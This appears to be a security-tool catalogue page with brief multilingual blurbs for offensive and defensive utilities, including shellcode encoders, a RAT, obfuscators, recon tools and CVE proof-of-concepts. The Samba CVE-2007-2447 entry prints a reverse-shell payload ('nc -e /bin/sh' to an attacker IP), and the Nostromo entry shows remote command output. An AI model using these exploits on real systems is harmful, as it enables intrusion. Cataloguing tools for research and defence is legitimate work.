byvalver

byvalver ·𐑚𐑲𐑝𐑨𐑤𐑝𐑼 Shellcode 坏字节驱逐器 概述 • 快速开始 • 交互式 TUI • 针对性的坏字节消除 • 坏字节配置文件 • 功能特性 • 架构 • 系统要求 • 依赖项 • 构建 • 安装 • 用法 • 混淆策略 • 去零化策略 • 机器学习训练 • 代理集合 • 开发 • 故障排除 • 许可 目录 概述 快速开始 安装 基本用法 验证 跨架构支持 批量处理 交互式 TUI 针对性的坏字节驱逐 坏字节配置文件 功能特性 高级转换引擎 性能指标 混淆层 机器学习驱动的策略选择 输出选项 验证套件 架构 系统要求 依赖项 构建 安装 用法 混淆策略 去零化策...

CVE-2024-23897

Anant 的修改 修复了读取类似 /etc/os-release 等文件时内容被剥离的问题 新增对已认证会话的支持：可通过命令行参数提供用户名和密码 root@kitploit: usage: jenkinsfileread.py -h -u URL -a USERAGENT -f FILE -t TIMEOUT -s -o -p PROXY -v --username USERNAME --password PASSWORD POC for CVE-2024-23897 Jenkins file read options: -h, --help show this help...

outis

outis outisは、カスタムリモート管理ツール（RAT）またはそれに類するものです。MeterpreterやEmpre-Agentのようなものを想像してください。ただし、このツールの焦点は、エクスプロイトツールキット（エクスプロイトはありません）でも、ターゲットの永続的な管理でもありません。焦点は、サーバーとターゲットシステム間の通信、ファイル転送、ソケット共有、シェルの起動などを、さまざまな方法とプラットフォームを使用して行うことです。 名前について...

NinjaDroid

NinjaDroid NinjaDroid es una herramienta simple para la ingeniería inversa de paquetes APK de Android. Publicado en: https://snapcraft.io/ninjadroidshell $ snap install ninjadroid --channel=beta root@kitploit: Resumen NinjaDroid utiliza AXMLParser junto con una serie de scripts de Python basados ...

jailer

Jailer - eBPF 强制访问控制 警告 ：该项目正处于密集开发阶段，尚未准备好用于生产环境 。API、策略格式及行为可能随时更改，恕不另行通知。仅供测试和实验使用。 致谢 注意 ：这是一个独立的实现，与 Meta 的解决方案并非同一项目。虽然 BpfJailer 在功能上类似，并且受到 Meta 的 Liam Wisehart 、Justin Nga 、Carl El Khoury 、Mansee Chadha 原创想法和设计的启发，但这是独立开发的独立代码库。我们感谢激发此项工作的愿景和基础概念。 社区 Jailer 是一个基于 eBPF 的进程隔离系统，为 Linux...

DataSurgeon

DataSurgeon v1.2.8 DataSurgeon ds は、インシデントレスポンス、DLP、ペネトレーションテスト、CTFチャレンジ向けに設計された多用途ツールです。メールアドレス、電話番号、ハッシュ、クレジットカード、URL、IPアドレス、MACアドレス、SRV DNSレコードなど、さまざまな種類の機密情報を抽出できます。 Windows、Linux、MacOSをサポート ディレクトリ内の再帰的なファイル分析をサポート プラグインサポート CSV出力 Quick Links 抽出機能 最近の更新 クイックインストール コマンドライン引数 使用例 速度テスト プラグインの管理...

tailsnitch

Tailsnitch Tailscale 配置的安全审计工具。Tailsnitch 扫描你的 tailnet，检查 50 多种配置错误、过度宽松的访问控制以及安全最佳实践违规。 快速开始 root@kitploit: 1. 设置你的 Tailscale API 凭据 export TSAPIKEY="tskey-api-..." 2. 运行审计 tailsnitch 3. 仅查看高严重性发现 tailsnitch --severity high 4. 交互式修复一些问题 yolo 模式 tailsnitch --fix 安装 下载预编译二进制 从 GitHub Releases...

InflativeLoading

InflativeLoading 記事: https://winslow1984.com/books/malware/page/reflectiveloading-and-inflativeloading 主な更新履歴 このセクションでは、主な更新情報を提供します。主な更新には、追加されたサポートや機能が含まれます。 4/11/2024 PEシグネチャ難読化の追加 PEヘッダ内のごく一部のバイト（elfanew、インポートディレクトリのRVAなど）のみがロードプロセスを完了するために不可欠です。そのため、他のバイトはランダムなバイトで上書きしてPEヘッダシグネチャを隠すことができます。...

cuFuzz

cuFuzz 本仓库包含 cuFuzz 的工件，cuFuzz 是一个面向用户态 CUDA 应用程序、面向 GPU 的覆盖率引导模糊测试器。cuFuzz 将主机端和设备端覆盖率收集与 sanitizer 处理相结合，以有效发现 CUDA 程序中的缺陷。 仓库结构 root@kitploit: cufuzz-artifacts/ ├── src/ Core cuFuzz components │ ├── cufuzzcovnvbit/ NVBit-based device-side coverage collection tool │ └── cufuzzsand/ Sanitizer...

ditto

ditto Ofuscador de Powershell Ditto es un ofuscador de Powershell y JavaScript basado en tree-sitter-powershell y tree-sitter-javascript. Uso desde la Línea de Comandos Estructura Básica del Comando ditto-cli opciones Argumentos y Opciones de la CLI Opción Corta| Opción Larga| Descripción...

alterx

AlterX Features • Installation • Usage • Running AlterX • Join Discord root@kitploit: Fast and customizable subdomain wordlist generator using DSL. Features Fast and Customizable Automatic word enrichment Pre-defined variables Configurable Patterns Pattern Mining - Automatically discover subdomai...

wpjuicer

wpjuicer WordPressエンドポイント上の機密情報を迅速にスキャンするためのWP Juicerツール。 このスクリプトはWordPress専用であり、フレームワークのエンドポイントにおける機密情報の位置を特定し、詳細な結果を提供することで認識とデータ抽出を支援します。このツールの主な目的は、監査目的に有用な情報の発見プロセスを簡素化・迅速化することです。エンドポイントの検索、ユーザーの一覧表示、WordPressバージョンの確認、圧縮ファイルや隠しファイルの検索を行います。...

CVE-2025-24367-Cacti-PoC

CVE-2025-24367 - RCE en plantillas de gráficos autenticadas de Cacti Uso y seguridad Importante — Léalo primero: Este repositorio y exploit.py se proporcionan solo con fines educativos y de investigación. No utilice este código contra sistemas, redes o servicios para los cuales no tenga...

chomp-scan

Chomp Scan バグバウンティ／ペネトレーションテストの偵察フェーズを簡素化するためのスクリプト化されたツールパイプライン。これであなたはバグを「かじる」ことに集中できます。 このツールを使ってバグを見つけた方は、ぜひお知らせください！ スコープ Chomp Scan は、長く時には退屈な偵察作業を効率化するために、最も高速で効果的なツール（私の意見・経験に基づく）を連鎖させる Bash スクリプトです。ワードリストを探したり、スキャンを開始した時刻や出力場所を覚えておく必要はもうありません。Chomp Scan...

shellnoob

ShellNoob Escribir shellcodes siempre ha sido muy divertido, pero algunas partes son extremadamente aburridas y propensas a errores. ¡Concéntrate solo en la parte divertida y usa ShellNoob! Para una visión rápida, consulta las diapositivas de la charla en Black Hat Arsenal: link ¿Quieres...

CVE-2020-9496

CVE-2020-9496 XML-RPC 请求在 Apache OFBiz 17.12.03 中存在不安全的反序列化和跨站脚本漏洞。 安装依赖 root@kitploit: $ pip install -r requirements.txt $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar 使用方法 root@kitploit: $ python cve-2020-9496.py --target UR...

SentryPeer

悪意ある行為からSIPサーバーを保護 Deutsche Telekom Security GmbH 様のご支援に感謝いたします！誠にありがとうございます！ ぜひスターを付け、Twitter でフォローしてください！ 目次 はじめに 概要 機能 講演 導入事例 設計 Docker 環境変数 インストール Homebrew macOS または Linux Alpine Linux Ubuntu パッケージ ソースからのビルド SentryPeer の実行 WebHook RESTful API エンドポイント /health-check エンドポイント /ip-addresses エンドポイ...

CVE-2026-29145-Tester

CVE-2026-29145 测试环境 📌 概述 本仓库包含一个概念验证（PoC）环境，用于测试 CVE-2026-29145 。 该漏洞是 Apache Tomcat 的相互 TLS（CLIENTCERT）实现中的身份验证绕过 。当 OCSP（在线证书状态协议）配置为禁用软失败时，Tomcat 可能无法将 OCSP 检查失败视为硬性拒绝。如果 OCSP 响应器不可达或返回错误，这允许持有可能已吊销或未验证证书的客户端绕过身份验证。 🛡️ 漏洞详情 属性| 值 ---|--- CVE ID| CVE-2026-29145 CVSS 评分| 9.1（严重）-...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

CVE-2019-16278

CVE-2019-16278 CVE-2019-16278Nostromo httpdコマンド実行 ➜ Downloads python nostromo.py 114.114.114.114 8080 pwd /bin ➜ Downloads python nostromo.py 114.114.114.114 8080 id uid=65534 gid=65534 ➜ Downloads python nostromo.py 114.114.114.114 8080 "ls -al" drwxr-xr-x 2 0 0 0 Apr 12 2013 . drwxr-xr-x 16 0 0...